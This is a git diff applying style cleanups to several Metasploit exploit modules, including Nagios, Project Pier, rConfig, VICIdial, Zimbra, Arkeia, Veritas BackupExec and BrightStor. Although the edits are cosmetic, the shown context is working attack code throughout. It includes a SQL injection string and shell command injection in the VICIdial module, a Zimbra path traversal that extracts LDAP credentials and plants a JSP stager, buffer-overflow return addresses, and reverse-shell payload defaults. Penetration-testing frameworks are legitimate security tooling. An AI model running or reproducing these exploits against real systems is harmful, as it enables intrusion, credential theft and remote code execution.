MetasploitModule < Msf::Exploit::Remote register_options( [ - OptString.new('TARGETURI', [true, "The full URI path to history.cgi", "/nagios3/cgi-bin/history.cgi"]), - OptString.new('USER', [true, "The username to authenticate with", "nagiosadmin"]), - OptString.new('PASS', [true, "The password to authenticate with", "nagiosadmin"]), + OptString.new('TARGETURI', [true, 'The full URI path to history.cgi', '/nagios3/cgi-bin/history.cgi']), + OptString.new('USER', [true, 'The username to authenticate with', 'nagiosadmin']), + OptString.new('PASS', [true, 'The password to authenticate with', 'nagiosadmin']), ] ) end @@ -101,20 +101,20 @@ class MetasploitModule < Msf::Exploit::Remote res = send_request_cgi({ 'method' => 'GET', 'uri' => uri, - 'headers' => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") }, + 'headers' => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") } }, 10) # Error handling if res.nil? - print_error("Unable to get a response from the server") + print_error('Unable to get a response from the server') return nil, nil end if (res.code == 401) - print_error("Please specify correct values for USER and PASS") + print_error('Please specify correct values for USER and PASS') return nil, nil end if (res.code == 404) - print_error("Please specify the correct path to history.cgi in the URI parameter") + print_error('Please specify the correct path to history.cgi in the URI parameter') return nil, nil end @@ -124,7 +124,7 @@ class MetasploitModule < Msf::Exploit::Remote # Extract version from body version = nil version_line = res.body.match(/Nagios® (Core™ )?[0-9.]+ -/) - if not version_line.nil? + if !version_line.nil? version = version_line[0].match(/[0-9.]+/)[0] end @@ -145,14 +145,14 @@ class MetasploitModule < Msf::Exploit::Remote print_status("Nagios version detected: #{version}") # Try regex for each target - self.targets.each do |t| + targets.each do |t| if t['BannerRE'].nil? or t['VersionRE'].nil? # It doesn't exist in Auto Target next end regexp1 = Regexp.escape(t['BannerRE']) regexp2 = Regexp.escape(t['VersionRE']) - if (banner =~ /#{regexp1}/ and version =~ /#{regexp2}/) then + if (banner =~ /#{regexp1}/ and version =~ /#{regexp2}/) return t end end @@ -161,19 +161,19 @@ class MetasploitModule < Msf::Exploit::Remote end def check - print_status("Checking banner and version...") + print_status('Checking banner and version...') # Detect version banner, version, alert = detect_version(target_uri.path) # Select target mytarget = select_target(banner, version) if mytarget.nil? - vprint_error("No matching target") + vprint_error('No matching target') return CheckCode::Unknown end if alert.nil? - vprint_error("At least one ALERT is needed in order to exploit") + vprint_error('At least one ALERT is needed in order to exploit') return CheckCode::Detected end @@ -185,10 +185,10 @@ class MetasploitModule < Msf::Exploit::Remote mytarget = nil banner, version, alert = detect_version(target_uri.path) if (target['auto']) - print_status("Automatically detecting the target...") + print_status('Automatically detecting the target...') mytarget = select_target(banner, version) if mytarget.nil? - fail_with(Failure::NoTarget, "No matching target") + fail_with(Failure::NoTarget, 'No matching target') end else mytarget = target @@ -196,7 +196,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status("Selected Target: #{mytarget.name}") if alert.nil? - print_error("At least one ALERT is needed in order to exploit, none found in the first page, trying anyway...") + print_error('At least one ALERT is needed in order to exploit, none found in the first page, trying anyway...') end print_status("Sending request to http://#{rhost}:#{rport}#{target_uri.path}") @@ -233,21 +233,21 @@ class MetasploitModule < Msf::Exploit::Remote } }) - if not res + if !res if session_created? - print_status("Session created, enjoy!") + print_status('Session created, enjoy!') else - print_error("No response from the server") + print_error('No response from the server') end return end if res.code == 401 - fail_with(Failure::NoAccess, "Please specify correct values for USER and PASS") + fail_with(Failure::NoAccess, 'Please specify correct values for USER and PASS') end if res.code == 404 - fail_with(Failure::NotFound, "Please specify the correct path to history.cgi in the TARGETURI parameter") + fail_with(Failure::NotFound, 'Please specify the correct path to history.cgi in the TARGETURI parameter') end print_status("Unknown response #{res.code}") diff --git a/modules/exploits/unix/webapp/projectpier_upload_exec.rb b/modules/exploits/unix/webapp/projectpier_upload_exec.rb index bf20ae97df..ba9bc0318e 100644 --- a/modules/exploits/unix/webapp/projectpier_upload_exec.rb +++ b/modules/exploits/unix/webapp/projectpier_upload_exec.rb @@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote super( update_info( info, - 'Name' => "Project Pier Arbitrary File Upload Vulnerability", + 'Name' => 'Project Pier Arbitrary File Upload Vulnerability', 'Description' => %q{ This module exploits a vulnerability found in Project Pier. The application's uploading tool does not require any authentication, which allows a malicious user @@ -102,12 +102,12 @@ class MetasploitModule < Msf::Exploit::Remote def exec_php(base, body) # Body example: # 0 ./upload/test/test.txt-0001 - uri = body.scan(/(\/.+$)/).flatten[0] + uri = body.scan(%r{(/.+$)}).flatten[0] res = send_request_raw({ 'uri' => "#{base}/tools#{uri}" }) if res and res.code == 404 - print_error("The upload most likely failed") + print_error('The upload most likely failed') return end @@ -122,17 +122,17 @@ class MetasploitModule < Msf::Exploit::Remote # Don't create a directory on the target since it complicates # cleaning up after ourselves # folder_name = Rex::Text.rand_text_alpha(4) - folder_name = "" + folder_name = '' php_fname = "#{Rex::Text.rand_text_alpha(5)}.php.1" @clean_files = [] - p = get_write_exec_payload(:unlink_self => true) + p = get_write_exec_payload(unlink_self: true) - print_status("Uploading PHP payload (#{p.length.to_s} bytes)...") + print_status("Uploading PHP payload (#{p.length} bytes)...") res = upload_php(base, php_fname, p, folder_name) - if not res - print_error("No response from server") + if !res + print_error('No response from server') return end diff --git a/modules/exploits/unix/webapp/rconfig_install_cmd_exec.rb b/modules/exploits/unix/webapp/rconfig_install_cmd_exec.rb index 69a00c6c60..3ae7fe39da 100644 --- a/modules/exploits/unix/webapp/rconfig_install_cmd_exec.rb +++ b/modules/exploits/unix/webapp/rconfig_install_cmd_exec.rb @@ -39,17 +39,21 @@ class MetasploitModule < Msf::Exploit::Remote 'Targets' => [ [ 'Automatic (Unix In-Memory)', - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' }, - 'Type' => :unix_memory + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' }, + 'Type' => :unix_memory + } ], [ 'Automatic (Linux Dropper)', - 'Platform' => 'linux', - 'Arch' => [ARCH_X86, ARCH_X64], - 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }, - 'Type' => :linux_dropper + { + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }, + 'Type' => :linux_dropper + } ] ], 'Privileged' => false, @@ -98,7 +102,7 @@ class MetasploitModule < Msf::Exploit::Remote CheckCode::Vulnerable end - def execute_command(cmd, opts = {}) + def execute_command(cmd, _opts = {}) vprint_status "Executing command: #{cmd}" send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/lib/ajaxHandlers/ajaxServerSettingsChk.php'), @@ -115,7 +119,7 @@ class MetasploitModule < Msf::Exploit::Remote when :unix_memory execute_command(payload.encoded) when :linux_dropper - execute_cmdstager(:linemax => 1_500) + execute_cmdstager(linemax: 1_500) end end end diff --git a/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb b/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb index 1a334ce7b2..3175d58f71 100644 --- a/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb +++ b/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb @@ -52,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote { 'PayloadType' => 'cmd', # Based on vicibox availability of binaries - 'RequiredCmd' => 'generic perl python awk telnet nc openssl', + 'RequiredCmd' => 'generic perl python awk telnet nc openssl' } }, 'Targets' => [ @@ -93,10 +93,10 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => '/agc/astguiclient.php', 'method' => 'POST', 'vars_post' => { - "user" => datastore["USER_ASTGUI"], - "pass" => datastore["PASS_ASTGUI"], - "phone_login" => datastore["PHONE_USER_ASTGUI"], - "phone_pass" => datastore["PHONE_PASSWORD_ASTGUI"] + 'user' => datastore['USER_ASTGUI'], + 'pass' => datastore['PASS_ASTGUI'], + 'phone_login' => datastore['PHONE_USER_ASTGUI'], + 'phone_pass' => datastore['PHONE_PASSWORD_ASTGUI'] } }) rescue ::Rex::ConnectionError @@ -108,19 +108,19 @@ class MetasploitModule < Msf::Exploit::Remote end def astguiclient_creds? - if datastore["USER_ASTGUI"].nil? or datastore["USER_ASTGUI"].empty? + if datastore['USER_ASTGUI'].nil? or datastore['USER_ASTGUI'].empty? return false end - if datastore["PASS_ASTGUI"].nil? or datastore["PASS_ASTGUI"].empty? + if datastore['PASS_ASTGUI'].nil? or datastore['PASS_ASTGUI'].empty? return false end - if datastore["PHONE_USER_ASTGUI"].nil? or datastore["PHONE_USER_ASTGUI"].empty? + if datastore['PHONE_USER_ASTGUI'].nil? or datastore['PHONE_USER_ASTGUI'].empty? return false end - if datastore["PHONE_PASSWORD_ASTGUI"].nil? or datastore["PHONE_PASSWORD_ASTGUI"].empty? + if datastore['PHONE_PASSWORD_ASTGUI'].nil? or datastore['PHONE_PASSWORD_ASTGUI'].empty? return false end @@ -133,15 +133,15 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => '/agc/manager_send.php', 'method' => 'GET', 'vars_get' => { - "enable_sipsak_messages" => "1", - "allow_sipsak_messages" => "1", - "protocol" => "sip", - "ACTION" => "OriginateVDRelogin", - "session_name" => rand_text_alpha(12), # Random session name - "server_ip" => "' OR '1' = '1", # SQL Injection to validate the session - "extension" => ";#{cmd};", - "user" => datastore['USERNAME'], - "pass" => datastore['PASSWORD'] + 'enable_sipsak_messages' => '1', + 'allow_sipsak_messages' => '1', + 'protocol' => 'sip', + 'ACTION' => 'OriginateVDRelogin', + 'session_name' => rand_text_alpha(12), # Random session name + 'server_ip' => "' OR '1' = '1", # SQL Injection to validate the session + 'extension' => ";#{cmd};", + 'user' => datastore['USERNAME'], + 'pass' => datastore['PASSWORD'] } }, timeout) rescue ::Rex::ConnectionError @@ -156,11 +156,11 @@ class MetasploitModule < Msf::Exploit::Remote res = request('ls -a .') if res and res.code == 200 - if res.body =~ /Invalid Username\/Password/ - vprint_error("Invalid Username or Password.") + if res.body =~ %r{Invalid Username/Password} + vprint_error('Invalid Username or Password.') return Exploit::CheckCode::Detected elsif res.body =~ /Invalid session_name/ - vprint_error("Web client session not found") + vprint_error('Web client session not found') return Exploit::CheckCode::Detected elsif res.body =~ /\.\n\.\.\n/m return Exploit::CheckCode::Vulnerable @@ -171,20 +171,20 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - print_status("Checking if injection is possible...") + print_status('Checking if injection is possible...') res = request('ls -a .') unless res and res.code == 200 fail_with(Failure::Unknown, "#{peer} - Unknown response, check the target") end - if res.body =~ /Invalid Username\/Password/ + if res.body =~ %r{Invalid Username/Password} fail_with(Failure::NoAccess, "#{peer} - Invalid VICIdial credentials, check USERNAME and PASSWORD") end if res.body =~ /Invalid session_name/ fail_with(Failure::NoAccess, "#{peer} - Valid web client session not found, provide astGUI or wait until someone logins") unless astguiclient_creds? - print_error("Valid web client session not found, trying to create one...") + print_error('Valid web client session not found, trying to create one...') res = login unless res and res.code == 200 and res.body =~ /you are logged/ fail_with(Failure::NoAccess, "#{peer} - Invalid astGUIcient credentials, check astGUI credentials or wait until someone login.") @@ -196,7 +196,7 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::NotVulnerable, "#{peer} - Injection hasn't been possible") end - print_good("Exploitation looks feasible, proceeding... ") + print_good('Exploitation looks feasible, proceeding... ') request("#{payload.encoded}", 1) end end diff --git a/modules/exploits/unix/webapp/zimbra_lfi.rb b/modules/exploits/unix/webapp/zimbra_lfi.rb index 2730c8aeb6..d11bb657d7 100644 --- a/modules/exploits/unix/webapp/zimbra_lfi.rb +++ b/modules/exploits/unix/webapp/zimbra_lfi.rb @@ -72,7 +72,7 @@ class MetasploitModule < Msf::Exploit::Remote end def check - res = send_traversal_query(traversal_path("conf/localconfig.xml")) + res = send_traversal_query(traversal_path('conf/localconfig.xml')) unless res and res.code == 200 return Exploit::CheckCode::Safe @@ -85,7 +85,7 @@ class MetasploitModule < Msf::Exploit::Remote text = res.body end - if text =~ /name=\\"zimbra_user\\">";\sa\["<value>(.*)<\/value>/ + if text =~ %r{name=\\"zimbra_user\\">";\sa\["<value>(.*)</value>} return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe @@ -93,8 +93,8 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - print_status("Getting login credentials...") - res = send_traversal_query(traversal_path("conf/localconfig.xml")) + print_status('Getting login credentials...') + res = send_traversal_query(traversal_path('conf/localconfig.xml')) unless res and res.code == 200 fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL") @@ -107,30 +107,30 @@ class MetasploitModule < Msf::Exploit::Remote text = res.body.to_s end - if text =~ /name=\\"zimbra_user\\">";\sa\["<value>(.*)<\/value>/ - zimbra_user = $1 + if text =~ %r{name=\\"zimbra_user\\">";\sa\["<value>(.*)</value>} + zimbra_user = ::Regexp.last_match(1) else fail_with(Failure::Unknown, "#{peer} - Unable to get login credentials") end - if text =~ /name=\\"zimbra_ldap_password\\">";\sa\["<value>(.*)<\/value>/ - zimbra_pass = $1 + if text =~ %r{name=\\"zimbra_ldap_password\\">";\sa\["<value>(.*)</value>} + zimbra_pass = ::Regexp.last_match(1) else fail_with(Failure::Unknown, "#{peer} - Unable to get login credentials") end - print_good("Got login credentials!") - print_status("Getting auth token...") + print_good('Got login credentials!') + print_status('Getting auth token...') soap_req = build_soap_req(zimbra_user, zimbra_pass) # lets get our hands foamy res = send_request_cgi({ - 'uri' => normalize_uri("service", "admin", "soap"), + 'uri' => normalize_uri('service', 'admin', 'soap'), 'method' => 'POST', 'ctype' => 'application/soap+xml; charset="utf-8"', 'headers' => { - 'SOAPAction' => '"urn:zimbraAdmin#AuthRequest"', + 'SOAPAction' => '"urn:zimbraAdmin#AuthRequest"' }, 'data' => soap_req }) @@ -139,28 +139,28 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::Unknown, "#{peer} - Unable to access service URL") end - if res.body.to_s =~ /<authToken>(.*)<\/authToken>/ - auth_token = $1 + if res.body.to_s =~ %r{<authToken>(.*)</authToken>} + auth_token = ::Regexp.last_match(1) else fail_with(Failure::Unknown, "#{peer} - Unable to get auth token") end @cookie = "ZM_ADMIN_AUTH_TOKEN=#{auth_token}" - print_good("Got auth token!") + print_good('Got auth token!') # the initial POC for this vuln shows user creation with admin rights for the web interface, thats cool but a shell is even cooler # the web interface has a function to upload the latest version of the desktop client via /service/extension/clientUploader/upload/ # the intent is for a ZCO file, whatever that is. However any file will do and it's placed in /downloads/ which we can reach, how handy! # push our meterpreter and then a stager jsp file that sets correct permissions, executes the meterpreter and removes itself afterwards - payload_name = rand_text_alpha(8 + rand(8)) - stager_name = rand_text_alpha(8 + rand(8)) + ".jsp" + payload_name = rand_text_alpha(rand(8..15)) + stager_name = rand_text_alpha(rand(8..15)) + '.jsp' stager = gen_stager(payload_name) payload_elf = generate_payload_exe # upload payload - print_status("Uploading payload") + print_status('Uploading payload') res = upload_file(payload_name, payload_elf) unless res and res.code == 200 @@ -168,7 +168,7 @@ class MetasploitModule < Msf::Exploit::Remote end # upload jsp stager - print_status("Uploading jsp stager") + print_status('Uploading jsp stager') res = upload_file(stager_name, stager) unless res and res.code == 200 @@ -182,15 +182,15 @@ class MetasploitModule < Msf::Exploit::Remote print_status("Executing payload on /downloads/#{stager_name}") - res = send_request_cgi({ - 'uri' => normalize_uri("downloads", stager_name), - 'method' => 'GET', + send_request_cgi({ + 'uri' => normalize_uri('downloads', stager_name), + 'method' => 'GET' }) end def traversal_path(file_name) ::File.join( - "../" * datastore['DEPTH'], + '../' * datastore['DEPTH'], datastore['ZIMBRADIR'], file_name ) @@ -198,11 +198,11 @@ class MetasploitModule < Msf::Exploit::Remote def send_traversal_query(traversal) res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, "res", "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz"), + 'uri' => normalize_uri(target_uri.path, 'res', '/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz'), 'method' => 'GET', 'encode_params' => false, 'vars_get' => { - 'v' => "091214175450", + 'v' => '091214175450', 'skin' => "#{traversal}%00" } }) @@ -214,14 +214,14 @@ class MetasploitModule < Msf::Exploit::Remote req_id = rand_text_numeric(2).to_s post_data = Rex::MIME::Message.new - post_data.add_part("#{file_name}", nil, nil, "form-data; name=\"filename1\"") - post_data.add_part("#{data}", "application/octet-stream", nil, "form-data; name=\"clientFile\"; filename=\"#{file_name}\"") - post_data.add_part("#{req_id}", nil, nil, "form-data; name=\"requestId\"") + post_data.add_part("#{file_name}", nil, nil, 'form-data; name="filename1"') + post_data.add_part("#{data}", 'application/octet-stream', nil, "form-data; name=\"clientFile\"; filename=\"#{file_name}\"") + post_data.add_part("#{req_id}", nil, nil, 'form-data; name="requestId"') n_data = post_data.to_s res = send_request_cgi({ - 'uri' => normalize_uri("service", "extension", "clientUploader", "upload"), + 'uri' => normalize_uri('service', 'extension', 'clientUploader', 'upload'), 'method' => 'POST', 'ctype' => 'multipart/form-data; boundary=' + post_data.bound, 'data' => n_data, @@ -233,57 +233,56 @@ class MetasploitModule < Msf::Exploit::Remote def build_soap_req(zimbra_user, zimbra_pass) xml = Document.new - soap_var = "ns1:AuthRequest" xml.add_element( - "soapenv:Envelope", + 'soapenv:Envelope', { - 'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance", - 'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema", - 'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/", - 'xmlns:ser' => "http://service.emulation.ws.mercury.com", - 'xmlns:env' => "http://www.w3.org/2003/05/soap-envelope", - 'xmlns:ns1' => "urn:zimbraAdmin", - 'xmlns:ns2' => "urn:zimbraAdmin", + 'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance', + 'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema', + 'xmlns:soapenv' => 'http://schemas.xmlsoap.org/soap/envelope/', + 'xmlns:ser' => 'http://service.emulation.ws.mercury.com', + 'xmlns:env' => 'http://www.w3.org/2003/05/soap-envelope', + 'xmlns:ns1' => 'urn:zimbraAdmin', + 'xmlns:ns2' => 'urn:zimbraAdmin' } ) - xml.root.add_element("soapenv:Header") - xml.root.add_element("soapenv:Body") + xml.root.add_element('soapenv:Header') + xml.root.add_element('soapenv:Body') header = xml.root.elements[1] body = xml.root.elements[2] - header.add_element("ns2:context") - body.add_element("ns1:AuthRequest") + header.add_element('ns2:context') + body.add_element('ns1:AuthRequest') ns1 = body.elements[1] ns1.add_element( - "account", + 'account', { - 'by' => "name" + 'by' => 'name' } ) - ns1.add_element("password") + ns1.add_element('password') - ns1.elements["account"].text = "#{zimbra_user}" - ns1.elements["password"].text = "#{zimbra_pass}" + ns1.elements['account'].text = "#{zimbra_user}" + ns1.elements['password'].text = "#{zimbra_pass}" return xml.to_s end def gen_stager(payload_name) - stager = "<%@ page import=\"java.util.*,java.io.*\"%>" - stager += " <%" - stager += " String uri = request.getRequestURI();" - stager += " String filename = uri.substring(uri.lastIndexOf(\"/\")+1);" - stager += " String jspfile = new java.io.File(application.getRealPath(request.getRequestURI())).getParent() + \"/\" + filename;" + stager = '<%@ page import="java.util.*,java.io.*"%>' + stager += ' <%' + stager += ' String uri = request.getRequestURI();' + stager += ' String filename = uri.substring(uri.lastIndexOf("/")+1);' + stager += ' String jspfile = new java.io.File(application.getRealPath(request.getRequestURI())).getParent() + "/" + filename;' stager += " String payload = new java.io.File(application.getRealPath(request.getRequestURI())).getParent() + \"/#{payload_name}\";" - stager += " Process p = Runtime.getRuntime().exec(\"chmod 700 \" + payload);" - stager += " p.waitFor();" + stager += ' Process p = Runtime.getRuntime().exec("chmod 700 " + payload);' + stager += ' p.waitFor();' stager += " p = Runtime.getRuntime().exec(\"bash -c '\" + payload + \"'\");" - stager += "%>" + stager += '%>' return stager end diff --git a/modules/exploits/windows/arkeia/type77.rb b/modules/exploits/windows/arkeia/type77.rb index f5e4aa5f4a..f17bf20f0d 100644 --- a/modules/exploits/windows/arkeia/type77.rb +++ b/modules/exploits/windows/arkeia/type77.rb @@ -29,12 +29,12 @@ class MetasploitModule < Msf::Exploit::Remote ], 'Privileged' => true, 'DefaultOptions' => { - 'EXITFUNC' => 'process', + 'EXITFUNC' => 'process' }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00", - 'StackAdjustment' => -3500, + 'StackAdjustment' => -3500 }, 'Targets' => [ ['Arkeia 5.3.3 and 5.2.27 Windows (All)', { 'Platform' => 'win', 'Rets' => [ 0x004130a2, 5 ] }], # arkeiad.exe @@ -61,18 +61,18 @@ class MetasploitModule < Msf::Exploit::Remote end def check - info = arkeia_info() + info = arkeia_info if !(info and info['Version']) return Exploit::CheckCode::Safe end - vprint_status("Arkeia Server Information:") - info.each_pair { |k, v| - vprint_status(" #{k + (" " * (30 - k.length))} = #{v}") - } + vprint_status('Arkeia Server Information:') + info.each_pair do |k, v| + vprint_status(" #{k + (' ' * (30 - k.length))} = #{v}") + end if (info['System'] !~ /Windows/) - vprint_status("This module only supports Windows targets") + vprint_status('This module only supports Windows targets') return Exploit::CheckCode::Detected end @@ -89,7 +89,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status("Trying target #{target.name}...") head = "\x00\x4d\x00\x03\x00\x01\xff\xff" - data = (target['Rets'][1] == 5) ? prep_ark5() : prep_ark4() + data = (target['Rets'][1] == 5) ? prep_ark5 : prep_ark4 head[6, 2] = [data.length].pack('n') begin diff --git a/modules/exploits/windows/backupexec/name_service.rb b/modules/exploits/windows/backupexec/name_service.rb index f560c5ec79..9eed7a14cc 100644 --- a/modules/exploits/windows/backupexec/name_service.rb +++ b/modules/exploits/windows/backupexec/name_service.rb @@ -39,21 +39,21 @@ class MetasploitModule < Msf::Exploit::Remote 'Payload' => { 'Space' => 1024, 'MinNops' => 512, - 'StackAdjustment' => -3500, + 'StackAdjustment' => -3500 }, 'Targets' => [ [ 'Veritas BE 9.1 SP0/SP1', # BackupExec 9.1 SP0/SP1 return contributed by class101 { 'Platform' => 'win', - 'Rets' => [ 0x0142ffa1, 0x401150FF ], # recv@bnetns.exe v9.1.4691.0 | esi@bnetns.exe + 'Rets' => [ 0x0142ffa1, 0x401150FF ] # recv@bnetns.exe v9.1.4691.0 | esi@bnetns.exe }, ], [ 'Veritas BE 8.5', { 'Platform' => 'win', - 'Rets' => [ 0x014308b9, 0x401138FF ], # recv@bnetns.exe v8.50.3572 | esi@beclass.dll v8.50.3572 + 'Rets' => [ 0x014308b9, 0x401138FF ] # recv@bnetns.exe v8.50.3572 | esi@beclass.dll v8.50.3572 }, ], ], @@ -102,10 +102,10 @@ class MetasploitModule < Msf::Exploit::Remote print_status("Sending the agent registration request of #{req.length} bytes...") sock.put(req) - print_status("Sending the payload stage down the socket...") + print_status('Sending the payload stage down the socket...') sock.put(payload.encoded) - print_status("Waiting for the payload to execute...") + print_status('Waiting for the payload to execute...') select(nil, nil, nil, 2) handler diff --git a/modules/exploits/windows/backupexec/remote_agent.rb b/modules/exploits/windows/backupexec/remote_agent.rb index 8fb6c7ef62..49d847db1c 100644 --- a/modules/exploits/windows/backupexec/remote_agent.rb +++ b/modules/exploits/windows/backupexec/remote_agent.rb @@ -31,26 +31,26 @@ class MetasploitModule < Msf::Exploit::Remote ], 'Privileged' => true, 'DefaultOptions' => { - 'EXITFUNC' => 'process', + 'EXITFUNC' => 'process' }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", - 'StackAdjustment' => -3500, + 'StackAdjustment' => -3500 }, 'Targets' => [ [ 'Veritas BE 9.0/9.1/10.0 (All Windows)', { 'Platform' => 'win', - 'Rets' => [ 0x0140f8d5, 0x014261b0 ], + 'Rets' => [ 0x0140f8d5, 0x014261b0 ] }, ], [ 'Veritas BE 9.0/9.1/10.0 (Windows 2000)', { 'Platform' => 'win', - 'Rets' => [ 0x75022ac4, 0x75022ac4 ], + 'Rets' => [ 0x75022ac4, 0x75022ac4 ] }, ], ], @@ -72,7 +72,7 @@ class MetasploitModule < Msf::Exploit::Remote end def check - info = ndmp_info() + info = ndmp_info if (info and info['Version']) vprint_status(" Vendor: #{info['Vendor']}") vprint_status("Product: #{info['Product']}") @@ -90,7 +90,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status("Trying target #{target.name}...") - resp = ndmp_recv() + ndmp_recv username = 'X' * 512 password = rand_text_alphanumeric(8192) @@ -122,11 +122,11 @@ class MetasploitModule < Msf::Exploit::Remote [ password.length ].pack('N') + password + [ 4 ].pack('N') - print_status("Sending authentication request...") + print_status('Sending authentication request...') ndmp_send(auth) # Attempt to read a reply (this should fail) - ndmp_recv() + ndmp_recv handler disconnect diff --git a/modules/exploits/windows/brightstor/discovery_tcp.rb b/modules/exploits/windows/brightstor/discovery_tcp.rb index 5e26304db9..26540d9b58 100644 --- a/modules/exploits/windows/brightstor/discovery_tcp.rb +++ b/modules/exploits/windows/brightstor/discovery_tcp.rb @@ -36,7 +36,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Payload' => { 'Space' => 2048, 'BadChars' => "\x00", - 'StackAdjustment' => -3500, + 'StackAdjustment' => -3500 }, 'Targets' => [ [ @@ -44,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote { 'Platform' => 'win', 'Ret' => 0x23803b20, # pop/pop/ret - 'Offset' => 1032, + 'Offset' => 1032 }, ], [ @@ -52,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote { 'Platform' => 'win', 'Ret' => 0x23805714, # pop/pop/ret - 'Offset' => 1024, + 'Offset' => 1024 }, ], [ @@ -60,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote { 'Platform' => 'win', 'Ret' => 0x23805d10, # pop/pop/ret - 'Offset' => 1024, + 'Offset' => 1024 }, ], ], @@ -89,7 +89,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Context' => { 'Msf' => framework, - 'MsfExploit' => self, + 'MsfExploit' => self } ) @@ -104,7 +104,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Context' => { 'Msf' => framework, - 'MsfExploit' => self, + 'MsfExploit' => self } ) @@ -112,7 +112,7 @@ class MetasploitModule < Msf::Exploit::Remote y = csock.get_once(-1, 3) csock.close - if (y and not x) + if (y and !x) return Exploit::CheckCode::Detected end @@ -134,7 +134,7 @@ class MetasploitModule < Msf::Exploit::Remote buf[target['Offset'], seh.length] = seh # Make sure the return address is invalid to trigger SEH - buf[900, 100] = (rand(127) + 128).chr * 100 + buf[900, 100] = (rand(128..254)).chr * 100 # SERVICEPC is the client host name actually =P (thanks Juliano!) req = "\x9b" + 'SERVICEPC' + "\x18" + [0x01020304].pack('N') + 'SERVICEPC' + "\x01\x0c\x6c\x93\xce\x18\x18\x41" diff --git a/modules/exploits/windows/brightstor/discovery_udp.rb b/modules/exploits/windows/brightstor/discovery_udp.rb index b6d0a5a244..aae34f1762 100644 --- a/modules/exploits/windows/brightstor/discovery_udp.rb +++ b/modules/exploits/windows/brightstor/discovery_udp.rb @@ -32,7 +32,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Payload' => { 'Space' => 2048, 'BadChars' => "\x00", - 'StackAdjustment' => -3500, + 'StackAdjustment' => -3500 }, 'Targets' => [ [ @@ -40,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote { 'Platform' => 'win', 'Ret' => 0x23808eb0, # call to edi reg - 'Offset' => 968, + 'Offset' => 968 }, ], [ @@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote { 'Platform' => 'win', 'Ret' => 0x2380a908, # call edi - 'Offset' => 970, + 'Offset' => 970 }, ], ], @@ -77,7 +77,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Context' => { 'Msf' => framework, - 'MsfExploit' => self, + 'MsfExploit' => self } ) @@ -92,7 +92,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Context' => { 'Msf' => framework, - 'MsfExploit' => self, + 'MsfExploit' => self } ) @@ -100,7 +100,7 @@ class MetasploitModule < Msf::Exploit::Remote y = csock.get_once(-1, 3) csock.close - if (y and not x) + if (y and !x) return Exploit::CheckCode::Detected end diff --git a/modules/exploits/windows/brightstor/sql_agent.rb b/modules/exploits/windows/brightstor/sql_agent.rb index f3da54a43e..051cd01726 100644 --- a/modules/exploits/windows/brightstor/sql_agent.rb +++ b/modules/exploits/windows/brightstor/sql_agent.rb @@ -31,7 +31,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00", - 'StackAdjustment' => -3500, + 'StackAdjustment' => -3500 }, 'Targets' => [ # This exploit requires a jmp esp for return @@ -68,13 +68,13 @@ class MetasploitModule < Msf::Exploit::Remote print_status("Trying target #{target.name}...") # The 'one line' request does not work against Windows 2003 - 1.upto(5) { |i| + 1.upto(5) do |_i| # Flush some memory connect begin sock.put("\xff" * 0x12000) sock.get_once - rescue + rescue StandardError end disconnect @@ -92,11 +92,11 @@ class MetasploitModule < Msf::Exploit::Remote begin sock.put(buf) sock.get_once - rescue + rescue StandardError end handler disconnect - } + end end end diff --git a/modules/exploits/windows/brightstor/universal_agent.rb b/modules/exploits/windows/brightstor/universal_agent.rb index 684400cc57..da2d15af32 100644 --- a/modules/exploits/windows/brightstor/universal_agent.rb +++ b/modules/exploits/windows/brightstor/universal_agent.rb @@ 